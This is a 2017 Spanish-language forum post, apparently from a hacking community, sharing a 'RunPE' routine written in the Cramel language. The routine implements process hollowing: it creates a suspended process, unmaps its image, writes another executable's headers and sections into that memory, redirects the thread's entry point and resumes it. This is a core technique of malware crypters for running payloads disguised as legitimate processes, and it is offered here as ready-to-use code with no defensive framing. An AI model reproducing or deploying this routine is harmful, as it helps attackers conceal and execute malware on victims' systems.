Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Cramel] RunPE

  • 0 Respuestas
  • 2424 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Yuki

  • *
  • Underc0der
  • Mensajes: 67
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil
« en: Julio 24, 2017, 12:44:52 am »
Hace un tiempo escribí este RunPE en Cramel, pero parece que olvide postearlo, así que acá se los dejo.

Código: [Seleccionar]
Importar "Cramel.cml"

' -------------------------------------------------------------------------------------------
' Nombre: RunPE
' Funcionamiento: Ejecuta un archivo en memoria.
' Programador: Yuki
' Parametros:
'            Archivo - Nombre del archivo a simular.
'            pArchivo - Puntero del buffer en memoria que contiene el archivo a ejecutar.
' Retorno:
'            Ninguno.

' -------------------------------------------------------------------------------------------
Proc RunPE(Referencia Archivo:Cadena,pArchivo:Entero)
    Var i:Entero
    Var @Pidh:IMAGE_DOS_HEADER
    Var @Pinh:IMAGE_NT_HEADERS
    Var @Pish:IMAGE_SECTION_HEADER
    Var SINFO:STARTUPINFO
    Var PINFO:PROCESS_INFORMATION
    Var Ctx:CONTEXT
    ' Iniciamos variables.
    SINFO.cb = &STARTUPINFO
    Ctx.ContextFlags = CONTEXT_FULL
    ' Obtenemos la estructura IMAGE_DOS_HEADER del archivo en memoria.
    Pidh@ = pArchivo
    ' Obtenemos la estructura IMAGE_NT_HEADERS del archivo en memoria.
    Pinh@ = pArchivo + Pidh.e_lfanew
    ' Creamos un nuevo proceso suspendido.
    CreateProcess(Archivo,"",,,Falso,CREATE_SUSPENDED,0,0,SINFO,PINFO)
    ' ???
    NtUnmapViewOfSection(PINFO.hProcess,Pinh.OptionalHeader.ImageBase)
    ' Creamos un buffer en el proceso creado con el tamaño del ejecutable en memoria.
    VirtualAllocEx(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,Pinh.OptionalHeader.SizeOfImage,MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    ' Escribimos en la memoria del proceso la cabecera del archivo en nuestra memoria.
    WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,pArchivo,Pinh.OptionalHeader.SizeOfHeaders,0)
    ' Sondeamos las secciones.
    Contar i a Pinh.FileHeader.NumberOfSections - 1
        ' Pish apunta a la información de las secciones disponibles.
        Pish@ = pArchivo + Pidh.e_lfanew + &IMAGE_NT_HEADERS + &IMAGE_SECTION_HEADER * i
        ' Escribimos los datos de las secciones.
        WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase+Pish.VirtualAddress,pArchivo+Pish.PointerToRawData,Pish.SizeOfRawData,0)
    Seguir
    ' Obtenemos los valores de registros.
    GetThreadContext(PINFO.hThread,Ctx)
    ' Inicializamos los registros.
    WriteProcessMemory(PINFO.hProcess,Ctx.Ebx + 8,Pinh.OptionalHeader.ImageBase,4,0)
    Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    SetThreadContext(PINFO.hThread,Ctx)
    ' Iniciamos el hilo del proceso creado.
    ResumeThread(PINFO.hThread)
FinProc

¡Saludos!

 

¿Te gustó el post? COMPARTILO!



[Cramel] Brute Force Dictionary Creator by 79137913 [Aplicación + Source]

Iniciado por BlackBlex

Respuestas: 0
Vistas: 2639
Último mensaje Julio 01, 2017, 07:04:10 pm
por BlackBlex
Como trabajar Cramel con Sublime Text | Actualizado [Cramel2| 20/Junio/17]

Iniciado por BlackBlex

Respuestas: 1
Vistas: 1401
Último mensaje Febrero 23, 2017, 08:18:21 am
por ANTRAX
[Cramel] Regedit.cml ~ Crea, Edita y Elimina claves del Registro

Iniciado por BlackBlex

Respuestas: 0
Vistas: 2475
Último mensaje Julio 05, 2017, 08:30:39 pm
por BlackBlex
[Cramel] File pumper + (Source) | Agrega peso a tus archivos

Iniciado por BlackBlex

Respuestas: 8
Vistas: 3516
Último mensaje Marzo 23, 2017, 07:58:04 pm
por Riojas
[Cramel] Componentes para Ventanas | 5 de Julio del 2017

Iniciado por BlackBlex

Respuestas: 0
Vistas: 2589
Último mensaje Abril 10, 2017, 04:25:47 pm
por BlackBlex